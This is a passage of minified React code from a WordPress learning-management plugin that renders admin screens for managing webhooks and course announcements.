A")))),l().createElement(_n.Td,null,m===iA.Trash?l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>{I.mutate(i.id)},icon:l().createElement(kt.Nyy,null),_hover:{color:"primary.500"}},(0,E.__)("Restore","learning-management-system")),l().createElement(Kn.D,{onClick:()=>{S()},icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),_hover:{color:"red.500"}},(0,E.__)("Delete Permanently","learning-management-system")))):l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.webhooks.edit.replace(":webhookId",i.id.toString())},l().createElement(p.$,{colorScheme:"primary",variant:"outline",leftIcon:l().createElement(Da,{icon:_a,boxSize:"12px"}),size:"xs"},(0,E.__)("Edit","learning-management-system"))),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>{O.mutate(i.id)},icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),_hover:{color:"red.500"}},(0,E.__)("Trash","learning-management-system"))))))),l().createElement(Ke.Lt,{isOpen:B,onClose:C,isCentered:!0,leastDestructiveRef:y},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,(0,E.__)("Deleting Webhook","learning-management-system")," ",i.name),l().createElement(x.c,null,(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system")),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{onClick:C,variant:"outline",ref:y},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{colorScheme:"red",isLoading:P.isPending,onClick:()=>{P.mutate(i.id)}},(0,E.__)("Delete","learning-management-system"))))))))};const xC=e=>{var{setFilterParams:t,filterParams:n,status:r}=e,{handleSubmit:i}=(0,Je.mN)(),[o]=(0,xt.U)("(min-width: 48em)"),s=(0,wr.z)({onTypeFinish:e=>{t({search:e,status:r})}},800),[m,c]=(0,a.useState)(o);return(0,a.useEffect)((()=>{c(o)}),[o]),l().createElement(Qe.a,{px:{base:6,md:12}},l().createElement(ft.s,{justify:"end"},!o&&l().createElement(Un.K,{icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large","aria-label":(0,E.__)("toggle filter","learning-management-system"),onClick:()=>c(!m)})),l().createElement(_t.S,{in:m},l().createElement("form",{onChange:i((e=>{t(ne(ee(e,{search:n.search,status:r})))}))},l().createElement(d.B,{direction:["column",null,"row"],spacing:"4",mt:[6,null,0]},l().createElement(Ma.p,(0,Re.A)({placeholder:(0,E.__)("Search","learning-management-system")},s,{onKeyDown:e=>"Enter"===e.key&&e.preventDefault()}))))))};function SC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function BC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?SC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):SC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var IC=[{status:"any",name:(0,E.__)("All Webhooks","learning-management-system")},{status:"publish",name:(0,E.__)("Active","learning-management-system")},{status:"draft",name:(0,E.__)("Inactive","learning-management-system")},{status:"trash",name:(0,E.__)("Trash","learning-management-system")}];const OC=()=>{var e,t,n,r,i,o=new mt(rt.webhooks),s=(0,vt.Zp)(),[m,c]=(0,a.useState)({order:"desc",orderby:"date"}),[u,A]=(0,a.useState)("any"),[p]=(0,xt.U)("(min-width: 360px)"),y=(0,Pn.I)({queryKey:["webhooksList",m],queryFn:()=>o.list(m)}),v=(e,t)=>c(ee(BC(BC({},m),{},{order:e,orderby:t})));return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,{display:"flex",flexWrap:"wrap",justifyContent:{base:"center",lg:"space-between"}},l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(Yn,{tabs:IC,defaultActive:"any",onTabChange:e=>{A(e),c(ee(m,{status:e}))},counts:null===(e=y.data)||void 0===e||null===(e=e.meta)||void 0===e?void 0:e.webhooks_count,isCounting:y.isLoading})),l().createElement(Kt,{my:{base:2,lg:0}},l().createElement(Nt,{onClick:()=>s(Pt.webhooks.add),leftIcon:p?l().createElement(Da,{icon:Ln,boxSize:"16px"}):void 0},(0,E.__)("Add New Webhook","learning-management-system"))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(xC,{setFilterParams:c,filterParams:m,status:u}),l().createElement(d.B,{direction:"column",spacing:"8",mt:{base:"15px !important",sm:"15px !important",md:"2.5rem !important",lg:"2.5rem !important"}},l().createElement(_n.XI,null,y.isLoading?l().createElement(_d,null):$(null==y||null===(t=y.data)||void 0===t?void 0:t.data)?l().createElement(Mn,{onPrimaryButtonClick:()=>{s(Pt.webhooks.add)},title:(0,E.__)("Create Your First Webhook","learning-management-system"),primaryButtonLabel:(0,E.__)("Add New Webhook","learning-management-system"),isResultFiltered:Boolean((null==m?void 0:m.search)||(null==m?void 0:m.status)&&"any"!==(null==m?void 0:m.status))}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Title","learning-management-system")),l().createElement(Sa,{filterParams:m,filterContentBy:v,orderBy:"title"}))),l().createElement(_n.Th,null,(0,E.__)("Status","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Author","learning-management-system")),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Date","learning-management-system")),l().createElement(Sa,{filterParams:m,filterContentBy:v,orderBy:"date"}))),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==y||null===(n=y.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.map((e=>l().createElement(CC,{key:null==e?void 0:e.id,data:e,filterParams:m}))))))))),y.isSuccess&&!$(null==y||null===(r=y.data)||void 0===r?void 0:r.data)&&l().createElement(ba,{metaData:null==y||null===(i=y.data)||void 0===i?void 0:i.meta,setFilterParams:c,perPageText:(0,E.__)("Webhook Per Page:","learning-management-system"),extraFilterParams:{order:null==m?void 0:m.order,orderby:null==m?void 0:m.orderby,search:null==m?void 0:m.search,status:null==m?void 0:m.status}})))};const PC=e=>{var t,{defaultValue:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Ne.MJ,{isInvalid:!(null==r||!r.delivery_url)},l().createElement(Ge.l,null,(0,E.__)("Delivery URL","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({type:"url",defaultValue:n},a("delivery_url",{required:(0,E.__)("Please provide delivery URL for the webhook.","learning-management-system")}))),l().createElement(Ne.eK,null,(0,E.__)("Your destination where the data will be sent.","learning-management-system")),l().createElement(ui.Wt,null,(null==r||null===(t=r.delivery_url)||void 0===t?void 0:t.message)+""))};const DC=e=>{var{defaultValue:t}=e,[n,r]=(0,a.useState)(""),[i,o]=(0,a.useState)(t),{setValue:s}=(0,Je.xW)(),m=(0,a.useCallback)((e=>{var t=(0,zl.serialize)([(0,zl.createBlock)("core/paragraph",{content:e})]);o(t),s("description",t),r(e)}),[s]);return l().createElement(Ne.MJ,null,l().createElement(ft.s,{direction:"row",alignItems:"center",justifyContent:"space-between",mb:"2"},l().createElement(Ge.l,{m:0},(0,E.__)("Description","learning-management-system")),l().createElement(Li,{onContentCreated:m,elementId:"mto-webhook-description"})),"classic_editor"===R.defaultEditor?l().createElement(Ki,{id:"mto-webhook-description",name:"description",defaultValue:i}):l().createElement(Ei,{defaultValue:i,name:"description",id:"mto-webhook-description",blockAiContent:n}))};function _C(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function kC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?_C(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):_C(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const QC=e=>{var t,n,{defaultValue:r}=e,i=new mt(rt.webhookEvents),{control:o,formState:{errors:s}}=(0,Je.xW)(),m=(0,Pn.I)(kC({queryKey:["webhookEvents"],queryFn:()=>i.list()},{keepPreviousData:!0})),c=(0,a.useMemo)((()=>{var e;return m.data&&N(null==m?void 0:m.data)?null==m||null===(e=m.data)||void 0===e?void 0:e.reduce(((e,t)=>kC(kC({},e),{},{[null==t?void 0:t.name]:{label:null==t?void 0:t.label,value:null==t?void 0:t.name}})),{}):{}}),[m.data]);if(m.isLoading||null==m||!m.data)return l().createElement(St.E,{height:"40px",width:"full"});var u=Array.isArray(r)?null==r||null===(t=r.filter((e=>!!c[e])))||void 0===t?void 0:t.map((e=>kC({},c[e]))):[];return l().createElement(d.B,{spacing:2},l().createElement(Ne.MJ,{isInvalid:!(null==s||!s.events)},l().createElement(Ge.l,null,(0,E.__)("Events","learning-management-system")),l().createElement(Je.xI,{name:"events",rules:{required:(0,E.__)("Please select at least one event.","learning-management-system")},control:o,defaultValue:u,render:e=>{var{field:{onChange:t,value:n}}=e;return l().createElement(ss.Ay,{onChange:t,value:n,styles:dn,isMulti:!0,closeMenuOnSelect:!1,isClearable:!1,options:Object.values(c),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("No events found.","learning-management-system"):(0,E.__)("No events.","learning-management-system")}})}}),l().createElement(Ne.eK,null,(0,E.__)("Select the events that will trigger this webhook.","learning-management-system")),l().createElement(ui.Wt,null,(null==s||null===(n=s.events)||void 0===n?void 0:n.message)+"")))};const zC=e=>{var t,{defaultValue:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Ne.MJ,{isInvalid:!(null==r||!r.name)},l().createElement(Ge.l,null,(0,E.__)("Webhook Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:n,placeholder:(0,E.__)("Your webhook Name","learning-management-system")},a("name",{required:(0,E.__)("Please provide name for the webhook.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==r||null===(t=r.name)||void 0===t?void 0:t.message)+""))};const qC=e=>{var t,{defaultValue:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Ne.MJ,{isInvalid:!(null==r||!r.secret)},l().createElement(Ge.l,null,(0,E.__)("Secret (optional)","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:n},a("secret"))),l().createElement(Ne.eK,null,(0,E.__)("Secret can help you identify if the data has been altered by a malicious third-party before it reaches its destination.","learning-management-system")),l().createElement(ui.Wt,null,(null==r||null===(t=r.secret)||void 0===t?void 0:t.message)+""))};const FC=e=>{var{defaultValue:t}=e,{setValue:n,control:a}=(0,Je.xW)(),r=(0,Je.FH)({name:"status",defaultValue:t||"",control:a});return l().createElement(d.B,{spacing:0},l().createElement(Fa,null,l().createElement(Ge.l,{htmlFor:"masteriyo-webhook-status-toggle"},(0,E.__)("Status","learning-management-system")+" (".concat(r===iA.Active?(0,E.__)("Active","learning-management-system"):(0,E.__)("Inactive","learning-management-system"),")")),l().createElement(qa.d,{id:"masteriyo-webhook-status-toggle",defaultChecked:t===iA.Active,onChange:e=>n("status",e.target.checked?iA.Active:iA.InActive,{shouldDirty:!0})})),l().createElement(g.E,{fontSize:"sm",color:"gray.500"},(0,E.__)("Only active webhooks will be triggered when the selected events occur.","learning-management-system")))};function jC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function VC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?jC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):jC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const LC=()=>{var e=(0,We.d)(),t=(0,s.jE)(),n=(0,Je.mN)(),a=(0,vt.Zp)(),r=new mt(rt.webhooks),[i]=(0,xt.U)("(min-width: 992px)"),o=(0,Jr.A)(["sm","md"]),m=(0,wt.n)({mutationFn:e=>r.store(e)}),c=n=>{var l;n=VC(VC({},n),{},{events:N(n.events)?null===(l=n.events)||void 0===l?void 0:l.map((e=>e.value)):[]}),m.mutate(ne(n),{onSuccess:n=>{we(t,["webhooksList",{order:"desc",orderby:"date"}],n),e({title:n.name+(0,E.__)(" has been added.","learning-management-system"),status:"success",isClosable:!0}),t.invalidateQueries({queryKey:["webhooksList"]}),a(Pt.webhooks.list)},onError:t=>{var n,a=null!=t&&t.message?null==t?void 0:t.message:null==t||null===(n=t.data)||void 0===n?void 0:n.message;e({title:(0,E.__)("Failed to create webhook.","learning-management-system"),description:a?"".concat(a):void 0,status:"error",isClosable:!0})}})};Ca(n.formState.isDirty);var u=()=>l().createElement(Bt.e,null,l().createElement(p.$,{size:o,colorScheme:"primary",isLoading:m.isPending,onClick:n.handleSubmit(c)},(0,E.__)("Create","learning-management-system")),l().createElement(p.$,{size:o,variant:"outline",isDisabled:m.isPending,onClick:()=>a({pathname:Pt.webhooks.list})},(0,E.__)("Cancel","learning-management-system")));return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.webhooks.add,_activeLink:on},l().createElement(g.E,null,(0,E.__)("Create New Webhook","learning-management-system")))))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.webhooks.list},l().createElement(Dl,null))),l().createElement(Je.Op,n,l().createElement("form",{onSubmit:n.handleSubmit(c)},l().createElement(d.B,{direction:["column","column","column","row"],spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(ft.s,{align:"center",justify:"space-between"},l().createElement(ke.D,{as:"h1",fontSize:"x-large"},(0,E.__)("Create New Webhook","learning-management-system"))),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(zC,null),l().createElement(DC,null),i?l().createElement(u,null):null))),l().createElement(Qe.a,{w:{lg:"400px"},bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(FC,null),l().createElement(PC,null),l().createElement(QC,null),l().createElement(qC,null),i?null:l().createElement(u,null)))))))))};const MC=()=>l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Qe.a,{bg:"white",w:"full",shadow:"header",pb:["3",0,0]},l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:["column","row"],justifyContent:"space-between",align:"center"},l().createElement(d.B,{direction:["column",null,"row"],spacing:["3",null,"8"],align:"center",minHeight:"16"},l().createElement(Qe.a,{display:["none",null,"block"]},l().createElement(qe._,{src:It,w:"36px"})),l().createElement(Ba.r,{noOfLines:1,width:"80px"}),l().createElement(d.B,{direction:"row",alignItems:"center",gap:"5",mt:"0px !important"},l().createElement(d.B,{direction:"row",gap:"3",alignItems:"center"},l().createElement(Xt.Q,{size:"4"}),l().createElement(Ba.r,{noOfLines:1,width:"40px"})),l().createElement(d.B,{direction:"row",gap:"3",alignItems:"center"},l().createElement(Xt.Q,{size:"4"}),l().createElement(Ba.r,{noOfLines:1,width:"40px"})),l().createElement(d.B,{direction:"row",gap:"3",alignItems:"center"},l().createElement(Xt.Q,{size:"4"}),l().createElement(Ba.r,{noOfLines:1,width:"40px"})))),l().createElement(Bt.e,null,l().createElement(St.E,{height:"40px",width:"70px"}),l().createElement(St.E,{height:"40px",width:"70px"}),l().createElement(St.E,{height:"40px",width:"70px"}))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.webhooks.list},l().createElement(Dl,null))),l().createElement(d.B,{direction:["column","column","column","row"],spacing:"6"},l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box",flex:"1"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(St.E,{height:"30px",width:"100px"}),l().createElement(d.B,{mt:"12px",direction:"column",spacing:"6"},l().createElement(d.B,{direction:"column",spacing:"3"},l().createElement(St.E,{height:"40px"}),l().createElement(St.E,{height:"400px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{direction:"row"},l().createElement(St.E,{height:"40px",w:"100%"}),l().createElement(St.E,{height:"40px",w:"100%"}))))),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box",flex:"0.5"},l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(d.B,null,l().createElement(St.E,{height:"10px",width:"30%"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,null,l().createElement(St.E,{height:"10px",width:"30%"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,null,l().createElement(St.E,{height:"10px",width:"30%"}),l().createElement(St.E,{height:"40px"}))))))));function RC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function TC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?RC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):RC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const UC=()=>{var e,t,n,r,i,o,{webhookId:m}=(0,vt.g)(),c=(0,We.d)(),u=(0,s.jE)(),A=(0,Je.mN)(),y=(0,vt.Zp)(),f=new mt(rt.webhooks),[h]=(0,xt.U)("(min-width: 992px)"),b=(0,Jr.A)(["sm","md"]),w=(0,Pn.I)({queryKey:["webhook".concat(m),m],queryFn:()=>f.get(m,"edit")});(0,a.useEffect)((()=>{null!=w&&w.isError&&y(Pt.notFound)}),[null==w?void 0:w.isError,y]);var C=(0,wt.n)(TC({mutationFn:e=>f.update(m,e)},{onSuccess:e=>{A.reset(A.getValues()),xe(u,["webhooksList",{order:"desc",orderby:"date"}],e),u.invalidateQueries({queryKey:["webhook".concat(m)]}),u.invalidateQueries({queryKey:["webhooksList"]}),c({title:(0,E.__)("Webhook updated successfully.","learning-management-system"),isClosable:!0,status:"success"}),y(Pt.webhooks.list)},onError:e=>{var t,n=null!=e&&e.message?null==e?void 0:e.message:null==e||null===(t=e.data)||void 0===t?void 0:t.message;c({title:(0,E.__)("Failed to update the webhook.","learning-management-system"),description:n?"".concat(n):void 0,status:"error",isClosable:!0})}})),x=e=>{C.mutate(TC(TC({},e),{},{events:N(e.events)?e.events.map((e=>e.value)):[]}))};if(Ca(A.formState.isDirty),(0,a.useEffect)((()=>{null!=w&&w.isSuccess&&null!=w&&w.data&&A.reset(A.getValues())}),[null==w?void 0:w.data]),w.isLoading||!w.isSuccess)return l().createElement(MC,null);var S=()=>l().createElement(Bt.e,null,l().createElement(p.$,{size:b,colorScheme:"primary",isLoading:C.isPending,onClick:A.handleSubmit(x)},(0,E.__)("Update","learning-management-system")),l().createElement(p.$,{size:b,variant:"outline",isDisabled:C.isPending,onClick:()=>y({pathname:Pt.webhooks.list})},(0,E.__)("Cancel","learning-management-system")));return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{isActive:!0,_activeLink:on},l().createElement(g.E,null,(0,E.__)("Edit Webhook","learning-management-system")))))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.webhooks.list},l().createElement(Dl,null))),l().createElement(Je.Op,A,l().createElement("form",{onSubmit:A.handleSubmit(x)},l().createElement(d.B,{direction:["column","column","column","row"],spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(ft.s,{align:"center",justify:"space-between"},l().createElement(ke.D,{as:"h1",fontSize:"x-large"},l().createElement(g.E,null,(0,E.__)("Edit Webhook","learning-management-system")))),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(zC,{defaultValue:null==w||null===(e=w.data)||void 0===e?void 0:e.name}),l().createElement(DC,{defaultValue:null==w||null===(t=w.data)||void 0===t?void 0:t.description}),h?l().createElement(S,null):null))),l().createElement(Qe.a,{w:{lg:"400px"},bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(FC,{defaultValue:null===(n=w.data)||void 0===n?void 0:n.status}),l().createElement(PC,{defaultValue:null==w||null===(r=w.data)||void 0===r?void 0:r.delivery_url}),l().createElement(QC,{defaultValue:null==w||null===(i=w.data)||void 0===i?void 0:i.events}),l().createElement(qC,{defaultValue:null==w||null===(o=w.data)||void 0===o?void 0:o.secret}),h?null:l().createElement(S,null)))))))))};const WC=e=>{var{methods:t,isLoading:n,onSubmit:a,announcementStatus:r}=e,i=(0,Jr.A)(["sm","md"]),o=()=>!(!r||"publish"!==r);return l().createElement(l().Fragment,null,l().createElement(p.$,{size:i,colorScheme:"primary",isLoading:n,onClick:t.handleSubmit((e=>{a(ee({status:"publish"},e))}))},o()?(0,E.__)("Update","learning-management-system"):(0,E.__)("Publish","learning-management-system")),l().createElement(p.$,{variant:"outline",colorScheme:"primary",isLoading:n,onClick:t.handleSubmit((e=>{a(ee({status:"draft"},e))}))},r&&"draft"===r?(0,E.__)("Save To Draft","learning-management-system"):o()?(0,E.__)("Switch To Draft","learning-management-system"):(0,E.__)("Save To Draft","learning-management-system")))};const KC=e=>{var t,n,{defaultData:a}=e,r=new mt(rt.courses),{setValue:i}=(0,Je.xW)(),o=(0,Pn.I)({queryKey:["courseList"],queryFn:()=>r.list({order_by:"name",order:"asc",per_page:10})});return l().createElement(Ne.MJ,null,l().createElement(Ge.l,null,(0,E.__)("Course","learning-management-system")),o.isLoading?l().createElement(St.E,{height:"40px",width:"100%"}):(null==o?void 0:o.isSuccess)&&!$(null===(t=o.data)||void 0===t?void 0:t.data)&&l().createElement(Co,{styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return $(t)?(0,E.__)("Please enter one or more characters.","learning-management-system"):(0,E.__)("Courses not found.","learning-management-system")},isClearable:!0,placeholder:(0,E.__)("Please select a course.","learning-management-system"),defaultValue:a?{value:a.id,label:a.name}:null,onChange:e=>{i("course_id",null==e?void 0:e.value,{shouldDirty:!0})},defaultOptions:o.isSuccess?null===(n=o.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:e.name}))):[],loadOptions:(e,t)=>{if($(e))return t([]);r.list({search:e}).then((e=>{t(e.data.map((e=>({value:e.id,label:e.name}))))}))}}))};const NC=e=>{var{defaultValue:t}=e,[n,r]=(0,a.useState)(t),[i,o]=(0,a.useState)(""),{setValue:s}=(0,Je.xW)(),m=(0,a.useCallback)((e=>{var t=(0,zl.serialize)([(0,zl.createBlock)("core/paragraph",{content:e})]);r(t),s("description",t,{shouldDirty:!0}),o(e)}),[s]);return l().createElement(Ne.MJ,null,l().createElement(ft.s,{direction:"row",alignItems:"center",justifyContent:"space-between",mb:2},l().createElement(Ge.l,{m:0},(0,E.__)("Description","learning-management-system")),l().createElement(Li,{onContentCreated:m,elementId:"mto-announcement-description"})),"classic_editor"===R.defaultEditor?l().createElement(Ki,{id:"mto-announcement-description",name:"description",defaultValue:n}):l().createElement(Ei,{defaultValue:n,name:"description",id:"mto-announcement-description",blockAiContent:i}))};const GC=e=>{var t,{defaultValue:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Ne.MJ,{isInvalid:!(null==r||!r.name)},l().createElement(Ge.l,null,(0,E.__)("Announcement Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:n,placeholder:(0,E.__)("Your announcement name","learning-management-system")},a("title",{required:(0,E.__)("Please provide name for the announcement.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==r||null===(t=r.name)||void 0===t?void 0:t.message)+""))};var HC={courseAnnouncement:"/masteriyo/v1/course-announcement"},JC={mr:"10",py:"6",d:"flex",gap:1,justifyContent:"flex-start",alignItems:"center",fontWeight:"medium",fontSize:["xs",null,"sm"]};const XC=()=>{var e=(0,We.d)(),t=(0,s.jE)(),n=(0,Je.mN)(),a=(0,vt.Zp)(),r=new mt(HC.courseAnnouncement),[i]=(0,xt.U)("(min-width: 992px)"),o=(0,Jr.A)(["sm","md"]),m=(0,wt.n)({mutationFn:e=>r.store(e)}),c=l=>{m.mutate(ne(l),{onSuccess:l=>{n.reset(n.getValues()),we(t,["announcementList",{order:"desc",orderby:"date"}],l),e({title:l.title+(0,E.__)(" has been added.","learning-management-system"),status:"success",isClosable:!0}),t.invalidateQueries({queryKey:["announcementList"]}),a(Pt.courseAnnouncement.list)},onError:t=>{var n,a=null!=t&&t.message?null==t?void 0:t.message:null==t||null===(n=t.data)||void 0===n?void 0:n.message;e({title:(0,E.__)("Failed to create announcement.","learning-management-system"),description:a?"".concat(a):void 0,status:"error",isClosable:!0})}})};Ca(n.formState.isDirty);var u=()=>l().createElement(Bt.e,null,l().createElement(WC,{isLoading:m.isPending,methods:n,onSubmit:c}),l().createElement(p.$,{size:o,variant:"outline",isDisabled:m.isPending,onClick:()=>a({pathname:Pt.courseAnnouncement.list})},(0,E.__)("Cancel","learning-management-system")));return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(Fe.B8,{display:["none","flex","flex"],flexDirection:["column","row","row","row"]},l().createElement(Fe.ck,{mb:"0"},l().createElement(v.N_,{to:Pt.courseAnnouncement.add},l().createElement(p.$,{color:"gray.600",variant:"link",sx:JC,_active:on,rounded:"none",isActive:!0},(0,E.__)("Add New Announcement","learning-management-system"))))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.courseAnnouncement.list},l().createElement(Dl,null))),l().createElement(Je.Op,n,l().createElement("form",{onSubmit:n.handleSubmit(c)},l().createElement(d.B,{direction:["column","column","column","row"],spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(GC,null),l().createElement(NC,null),i?l().createElement(u,null):null)),l().createElement(Qe.a,{w:{lg:"400px"},bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(KC,null),i?null:l().createElement(u,null)))))))))};const YC=e=>{var t,n,a,{data:r,onDeletePress:i,onTrashPress:o,onRestorePress:s,setBulkIds:m,bulkIds:c,isLoading:u}=e;return l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(On.S,{isDisabled:u,isChecked:c.includes(null==r?void 0:r.id.toString()),onChange:e=>m(e.target.checked?[...c,null==r?void 0:r.id.toString()]:c.filter((e=>e!==(null==r?void 0:r.id.toString()))))})),l().createElement(_n.Td,null,"trash"===(null==r?void 0:r.status)?l().createElement(g.E,{fontWeight:"semibold"},null==r?void 0:r.title):l().createElement(je.N,{as:v.N_,to:Pt.courseAnnouncement.edit.replace(":courseAnnouncementId",null==r?void 0:r.id.toString()),fontWeight:"semibold",_hover:{color:"primary.500"}},null==r?void 0:r.title,"draft"===(null==r?void 0:r.status)?l().createElement(Jt.E,{bg:"primary.200",fontSize:"10px",ml:"2",mt:"-2"},(0,E.__)("Draft","learning-management-system")):null)),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center"},l().createElement(Oa.e,{src:null==r||null===(t=r.author)||void 0===t?void 0:t.avatar_url,size:"xs"}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium",color:"gray.600"},null==r||null===(n=r.author)||void 0===n?void 0:n.display_name))),l().createElement(_n.Td,null,l().createElement(g.E,{color:"gray.600",fontSize:"sm"},null==r||null===(a=r.course)||void 